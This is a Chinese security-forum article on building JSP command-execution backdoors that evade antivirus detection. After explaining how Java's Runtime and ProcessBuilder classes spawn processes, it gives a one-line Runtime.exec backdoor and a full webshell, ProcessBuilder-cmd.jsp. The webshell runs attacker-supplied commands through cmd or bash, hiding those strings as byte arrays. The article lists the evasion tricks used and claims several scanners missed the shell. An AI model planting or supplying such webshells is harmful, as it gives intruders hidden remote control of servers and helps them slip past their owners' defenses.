0x00:前言

JSP后门,一般是指文件名以.jsp等后缀结尾的,可运行于Java servlet及相关容器和组件内的通用JSP脚本。
本文主要讨论利用Java反射机制和Java类加载机制构造JSP系统命令执行后门,并绕过一般软件检测的方法。

0x01:Java执行系统命令的方法和原理

要构建JSP命令执行后门,首先需要了解Java语言执行系统命令的方法及其原理。通过查阅资料知道:目前Java语言执行系统命令主要通过下面两个类的相关方法实现:

java.lang.Runtime
java.lang.ProcessBuilder
  • JVM层面
    查阅 Java 文档 可以发现,上面两个类,都是对java.lang.Process抽象类的实现

Java语言中执行系统命令的方式,简单来说就是由JVM创建一个本机进程,加载对应的指令到进程的地址空间中,然后执行该指令
java.lang.Runtime.getRuntime().exec()java.lang.ProcessBuilder.start()方法,其实就是创建一个进程的方法。

  • 代码层面
    首先,进入java.lang.Runtime类中,发现Runtime类的构造器是private修饰的,所以无法直接获得Runtime类的实例,只能通过其getRuntime()方法来间接获取一个Runtime类的实例。

    跟随java.lang.Runtime.getRuntime(),进入exec()方法;然后不断跟踪代码,定位到如下方法中。可以看到,Runtime类实现的系统命令执行方法exec(),底层代码其实是调用了ProcessBuilder类。

    然后我们定位到ProcessBuilder类代码中,我们知道ProcessBuilder类用start方法创建进程,所以找到start方法的相关代码。可以发现其底层代码是调用了java.lang.ProcessImpl类的start方法,最终实现创建本机进程,执行系统命令的功能。

    继续跟踪,发现ProcessImpl类的原型是一个继承自Process类的final类
    final class ProcessImpl extends Process{}
    查看ProcessImpl的构造器,发现是private修饰的,所以无法直接在java.lang包外,直接调用ProcessImpl类。

    private ProcessImpl(String cmd[],
                          final String envblock,
                          final String path,
                          final long[] stdHandles,
                          final boolean redirectErrorStream)
          throws IOException
      {}

    继续追踪ProcessImpl类的start方法,发现最后是返回了一个ProcessImpl 类的实例。

总结一下,Java语言执行系统命令相关类和方法的调用关系表示如下图:

0x02:JSP标签

在JSP页面中嵌入java代码,需要正确的使用JSP标签,这里顺带提一下。

<%@ %>    页面指令,设定页面属性和特征信息
<% %>     java代码片段,不能在此声明方法
<%! %>    java代码声明,声明全局变量或当前页面的方法
<%= %>    Java表达式

0x03:用ProcessBuilder绕过检测

先看一个简单原始的执行系统命令的后门:
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
接收请求参数i传递的命令字符串,然后使用Runtime对象的exec()方法执行该命令。特点是命令无回显,会被杀。
"Runtime"、"exec"字符串过于显眼,基本都会被查杀软件检测到。所以,可以使用ProcessBuilder类建立一个不那么轻易被杀的命令执行后门,命名为ProcessBuilder-cmd.jsp

<%@ page pageEncoding="utf-8"%>
<%@ page import="java.util.Scanner" %>
<HTML>
<title>Just For Fun</title>
<BODY>
<H3>Build By LandGrey</H3>
<FORM METHOD="POST" NAME="form" ACTION="#">
    <INPUT TYPE="text" NAME="q">
    <INPUT TYPE="submit" VALUE="Fly">
</FORM>

<%
    String op="Got Nothing";
    String query = request.getParameter("q");
    String fileSeparator = String.valueOf(java.io.File.separatorChar);
    Boolean isWin;
    if(fileSeparator.equals("\\")){
        isWin = true;
    }else{
        isWin = false;
    }

    if (query != null) {
        ProcessBuilder pb;
        if(isWin) {
            pb = new ProcessBuilder(new String(new byte[]{99, 109, 100}), new String(new byte[]{47, 67}), query);
        }else{
            pb = new ProcessBuilder(new String(new byte[]{47, 98, 105, 110, 47, 98, 97, 115, 104}), new String(new byte[]{45, 99}), query);
        }
        Process process = pb.start();
        Scanner sc = new Scanner(process.getInputStream()).useDelimiter("\\A");
        op = sc.hasNext() ? sc.next() : op;
        sc.close();
    }
%>

<PRE>
    <%= op %>>
</PRE>
</BODY>
</HTML>

执行命令:

上述代码做的几点绕过检测的考虑:

1. 避免出现敏感变量名
   如"cmd"、"spy"、"exec"、"shell"、"execute"、"system"、"command"等等
2. 字符串拆解重组
   将"cmd"、"/c"和"/bin/bash"、"-c"等都做了处理,由字节转为字符串
3. 使用Scanner接收回显
   接收命令回显数据时,避免使用BufferedReader等常见手段
4. 用fileSeparator来判断操作系统类型
   一般使用System.getProperty/getProperties获取操作系统的类型,这里使用路径分隔符简单判断,然后再选用"cmd /c"或者"/bin/bash -c"来执行命令
5. 不导入过多的包

虽然做的绕过考虑不多,还带有ProcessBuilder关键字,但还是没被以下软件和平台检测出来:
virustotal检测

shellpub.com检测:

D盾、安全狗、深信服Webshell扫描检测:只有故意放置的一个简单exec后门被查出来

点击收藏 | 9 关注 | 1
登录 后跟帖